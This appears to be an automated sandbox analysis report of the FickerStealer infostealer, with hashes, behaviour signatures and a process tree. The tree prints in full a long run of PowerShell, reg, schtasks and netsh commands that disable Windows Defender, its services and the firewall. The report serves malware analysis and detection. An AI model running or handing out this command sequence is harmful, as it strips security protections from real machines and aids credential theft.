Analysis

  • max time kernel
    134s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    28-01-2021 10:48

General

  • Target

    FickerStealer.exe

  • Size

    307KB

  • MD5

    1c213dbc2e5f8646d4c30586b7bcb3d8

  • SHA1

    7a7c24e9bde5666de8763232d9ffa012fe9d18cd

  • SHA256

    90929f4e6bd28d6a197fef323930502ac1a3dcc9de8d4dba02dc6702fd570e14

  • SHA512

    e4b5bf282c771e1ce7152fabd5a44ecd094d5a6b0a61c26d0e25f9df15b55a6efaeaeca6a4f52a84d8d5859b6d3d2e8f15280f619edbc7c5ac4321d2359067da

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Executes dropped EXE 4 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 7936 IoCs
  • Suspicious use of AdjustPrivilegeToken 334 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 139 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe
    "C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3992
    • C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe
      "C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"
      2⤵
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Users\Admin\AppData\Local\Temp\1611831107723.exe
        "C:\Users\Admin\AppData\Local\Temp\1611831107723.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\System32\cmd.exe
          "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2BD8.tmp\2BD9.tmp\2BDA.bat C:\Users\Admin\AppData\Local\Temp\1611831107723.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3920
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
            5⤵
              PID:748
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:908
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1448
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3028
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
              5⤵
                PID:4032
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
                5⤵
                  PID:3476
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
                  5⤵
                    PID:2688
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
                    5⤵
                      PID:3508
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
                      5⤵
                        PID:904
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
                        5⤵
                          PID:3476
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
                          5⤵
                            PID:3540
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -command "Set-MpPreference -MAPSReporting 0"
                            5⤵
                              PID:1000
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
                              5⤵
                                PID:384
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
                                5⤵
                                  PID:3804
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
                                  5⤵
                                    PID:3544
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
                                    5⤵
                                      PID:3028
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
                                      5⤵
                                        PID:1568
                                        • C:\Windows\system32\reg.exe
                                          "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                          6⤵
                                            PID:2272
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -command "REG ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
                                          5⤵
                                            PID:2336
                                            • C:\Windows\system32\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                              6⤵
                                                PID:2208
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell.exe -command "netsh advfirewall set allprofiles state off"
                                              5⤵
                                                PID:2696
                                                • C:\Windows\system32\netsh.exe
                                                  "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                                  6⤵
                                                    PID:2504
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                                  5⤵
                                                    PID:1912
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                                    5⤵
                                                      PID:3508
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                      5⤵
                                                        PID:3492
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                        5⤵
                                                          PID:3936
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                          5⤵
                                                            PID:1000
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                            5⤵
                                                              PID:3544
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                              5⤵
                                                                PID:2188
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                                5⤵
                                                                  PID:2128
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                                  5⤵
                                                                    PID:1632
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                                    5⤵
                                                                      PID:1636
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                      5⤵
                                                                        PID:860
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                        5⤵
                                                                          PID:2788
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                                          5⤵
                                                                            PID:2504
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                            5⤵
                                                                              PID:3028
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                              5⤵
                                                                                PID:2312
                                                                              • C:\Windows\system32\schtasks.exe
                                                                                schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                                5⤵
                                                                                  PID:1332
                                                                                • C:\Windows\system32\schtasks.exe
                                                                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                                  5⤵
                                                                                    PID:1568
                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                                    5⤵
                                                                                      PID:4064
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                      5⤵
                                                                                        PID:3684
                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                        5⤵
                                                                                          PID:4044
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                                          5⤵
                                                                                            PID:4032
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                                            5⤵
                                                                                              PID:3544
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                              5⤵
                                                                                                PID:2188
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                                5⤵
                                                                                                  PID:2128
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                                  5⤵
                                                                                                    PID:1632
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    5⤵
                                                                                                      PID:1636
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                      5⤵
                                                                                                        PID:860
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                        5⤵
                                                                                                          PID:2788
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                          5⤵
                                                                                                            PID:2504
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                            5⤵
                                                                                                              PID:2316
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1611831107750.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\1611831107750.exe"
                                                                                                          3⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:2224
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1611831107750.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\1611831107750.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:1248
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:384
                                                                                                    • C:\Windows\SysWOW64\DllHost.exe
                                                                                                      C:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}
                                                                                                      1⤵
                                                                                                      • Drops startup file
                                                                                                      PID:1824

                                                                                                    Network

                                                                                                    MITRE ATT&CK Enterprise v6

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    • memory/384-134-0x0000027B44433000-0x0000027B44435000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/384-131-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/384-138-0x0000027B44436000-0x0000027B44438000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/384-139-0x0000027B44438000-0x0000027B44439000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/384-133-0x0000027B44430000-0x0000027B44432000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/904-96-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/904-101-0x00000229A19B0000-0x00000229A19B2000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/904-102-0x00000229A19B3000-0x00000229A19B5000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/904-105-0x00000229A19B6000-0x00000229A19B8000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/908-30-0x000002B6E6713000-0x000002B6E6715000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/908-38-0x000002B6E6716000-0x000002B6E6718000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/908-42-0x000002B6E6718000-0x000002B6E6719000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/908-22-0x00007FFCC0970000-0x00007FFCC135C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/908-23-0x000002B6E6660000-0x000002B6E6661000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/908-29-0x000002B6E6710000-0x000002B6E6712000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/908-28-0x000002B6E87F0000-0x000002B6E87F1000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/1000-122-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/1000-127-0x0000019956050000-0x0000019956052000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1000-128-0x0000019956053000-0x0000019956055000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1000-129-0x0000019956056000-0x0000019956058000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1000-132-0x0000019956058000-0x0000019956059000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/1248-32-0x00000000000C0000-0x00000000000C1000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/1248-25-0x0000000000400000-0x000000000045A000-memory.dmp

                                                                                                      Filesize

                                                                                                      360KB

                                                                                                    • memory/1248-33-0x0000000000400000-0x000000000045A000-memory.dmp

                                                                                                      Filesize

                                                                                                      360KB

                                                                                                    • memory/1248-34-0x0000000000650000-0x00000000006F9000-memory.dmp

                                                                                                      Filesize

                                                                                                      676KB

                                                                                                    • memory/1448-50-0x00000278B1D68000-0x00000278B1D69000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/1448-49-0x00000278B1D66000-0x00000278B1D68000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1448-44-0x00000278B1D60000-0x00000278B1D62000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1448-41-0x00007FFCC0970000-0x00007FFCC135C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/1448-43-0x00000278B1D63000-0x00000278B1D65000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1568-172-0x000002D839D10000-0x000002D839D12000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1568-180-0x000002D839D16000-0x000002D839D18000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1568-173-0x000002D839D13000-0x000002D839D15000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/1568-168-0x00007FFCC0A80000-0x00007FFCC146C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/1928-3-0x0000000000400000-0x0000000000448000-memory.dmp

                                                                                                      Filesize

                                                                                                      288KB

                                                                                                    • memory/1928-6-0x0000000000400000-0x0000000000448000-memory.dmp

                                                                                                      Filesize

                                                                                                      288KB

                                                                                                    • memory/2224-15-0x0000000001020000-0x000000000109B000-memory.dmp

                                                                                                      Filesize

                                                                                                      492KB

                                                                                                    • memory/2224-31-0x00000000042E0000-0x000000000446E000-memory.dmp

                                                                                                      Filesize

                                                                                                      1.6MB

                                                                                                    • memory/2336-189-0x00000197768E6000-0x00000197768E8000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2336-176-0x00007FFCC0A80000-0x00007FFCC146C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/2336-182-0x00000197768E3000-0x00000197768E5000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2336-181-0x00000197768E0000-0x00000197768E2000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2688-77-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/2688-91-0x000001948F018000-0x000001948F019000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/2688-85-0x000001948F016000-0x000001948F018000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2688-80-0x000001948F010000-0x000001948F012000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2688-81-0x000001948F013000-0x000001948F015000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2696-191-0x000002C657A83000-0x000002C657A85000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2696-190-0x000002C657A80000-0x000002C657A82000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2696-206-0x000002C657A86000-0x000002C657A88000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/2696-185-0x00007FFCC0A80000-0x00007FFCC146C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3028-164-0x0000019C36ED3000-0x0000019C36ED5000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3028-52-0x00007FFCC0970000-0x00007FFCC135C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3028-53-0x000001B9294B0000-0x000001B9294B2000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3028-54-0x000001B9294B3000-0x000001B9294B5000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3028-58-0x000001B9294B6000-0x000001B9294B8000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3028-64-0x000001B9294B8000-0x000001B9294B9000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3028-158-0x00007FFCC0A80000-0x00007FFCC146C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3028-166-0x0000019C36ED8000-0x0000019C36ED9000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3028-165-0x0000019C36ED6000-0x0000019C36ED8000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3028-162-0x0000019C36ED0000-0x0000019C36ED2000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3476-74-0x000001F341F00000-0x000001F341F02000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3476-70-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3476-75-0x000001F341F03000-0x000001F341F05000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3476-116-0x0000016614FD8000-0x0000016614FD9000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3476-79-0x000001F341F08000-0x000001F341F09000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3476-78-0x000001F341F06000-0x000001F341F08000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3476-111-0x0000016614FD6000-0x0000016614FD8000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3476-107-0x0000016614FD3000-0x0000016614FD5000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3476-106-0x0000016614FD0000-0x0000016614FD2000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3476-104-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3508-100-0x000001FD73C98000-0x000001FD73C99000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3508-94-0x000001FD73C96000-0x000001FD73C98000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3508-93-0x000001FD73C93000-0x000001FD73C95000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3508-92-0x000001FD73C90000-0x000001FD73C92000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3508-87-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3540-113-0x00007FFCC09E0000-0x00007FFCC13CC000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3540-117-0x0000019DF2620000-0x0000019DF2622000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3540-126-0x0000019DF2628000-0x0000019DF2629000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3540-118-0x0000019DF2623000-0x0000019DF2625000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3540-120-0x0000019DF2626000-0x0000019DF2628000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3544-154-0x000002519B3C0000-0x000002519B3C2000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3544-155-0x000002519B3C3000-0x000002519B3C5000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3544-150-0x00007FFCC0A80000-0x00007FFCC146C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3544-161-0x000002519B3C8000-0x000002519B3C9000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3544-156-0x000002519B3C6000-0x000002519B3C8000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3804-141-0x00007FFCC0A80000-0x00007FFCC146C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/3804-145-0x000001BC103B0000-0x000001BC103B2000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3804-146-0x000001BC103B3000-0x000001BC103B5000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3804-148-0x000001BC103B8000-0x000001BC103B9000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3804-147-0x000001BC103B6000-0x000001BC103B8000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/3948-17-0x0000000000400000-0x000000000041B000-memory.dmp

                                                                                                      Filesize

                                                                                                      108KB

                                                                                                    • memory/3948-16-0x00000000019F0000-0x0000000001A08000-memory.dmp

                                                                                                      Filesize

                                                                                                      96KB

                                                                                                    • memory/3948-14-0x00000000033B0000-0x00000000033C7000-memory.dmp

                                                                                                      Filesize

                                                                                                      92KB

                                                                                                    • memory/3948-13-0x00000000033B0000-0x00000000033B1000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3992-2-0x0000000003300000-0x0000000003301000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB

                                                                                                    • memory/3992-5-0x00000000031D0000-0x0000000003215000-memory.dmp

                                                                                                      Filesize

                                                                                                      276KB

                                                                                                    • memory/4032-60-0x00007FFCC0970000-0x00007FFCC135C000-memory.dmp

                                                                                                      Filesize

                                                                                                      9.9MB

                                                                                                    • memory/4032-65-0x000001D16F740000-0x000001D16F742000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/4032-66-0x000001D16F743000-0x000001D16F745000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/4032-67-0x000001D16F746000-0x000001D16F748000-memory.dmp

                                                                                                      Filesize

                                                                                                      8KB

                                                                                                    • memory/4032-69-0x000001D16F748000-0x000001D16F749000-memory.dmp

                                                                                                      Filesize

                                                                                                      4KB